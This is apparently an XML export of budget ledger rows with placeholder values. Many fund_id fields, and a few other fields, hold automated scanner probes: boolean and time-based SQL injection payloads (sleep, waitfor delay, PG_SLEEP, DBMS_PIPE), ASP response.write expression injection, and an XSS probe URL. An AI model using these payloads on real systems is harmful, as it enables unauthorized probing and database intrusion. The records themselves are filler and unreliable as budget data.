<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>"+response.write(9139658*9600593)+"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1mX3y1PNm</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=26</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 or 'ymwiCGXu'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1*if(now()=sysdate(),sleep(15),0)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1; waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1) OR 401=(SELECT 401 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1QCHLTCtp')) OR 321=(SELECT 321 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1����%2527%2522\'\"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>@@tVJFN</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select 198766*667891 from DUAL)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>bxss.me/t/xss.html?%00</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=26 or 'ymwiCGXu'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=25 or "VNo2Qc19"="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 or "VNo2Qc19"="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>response.write(9534446*9382820)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1); waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1 waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1f6FWr62F'; waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1 OR 952=(SELECT 952 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1)) OR 425=(SELECT 425 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1LSrr0nGf' OR 711=(SELECT 711 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>14V5pgChg') OR 927=(SELECT 927 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
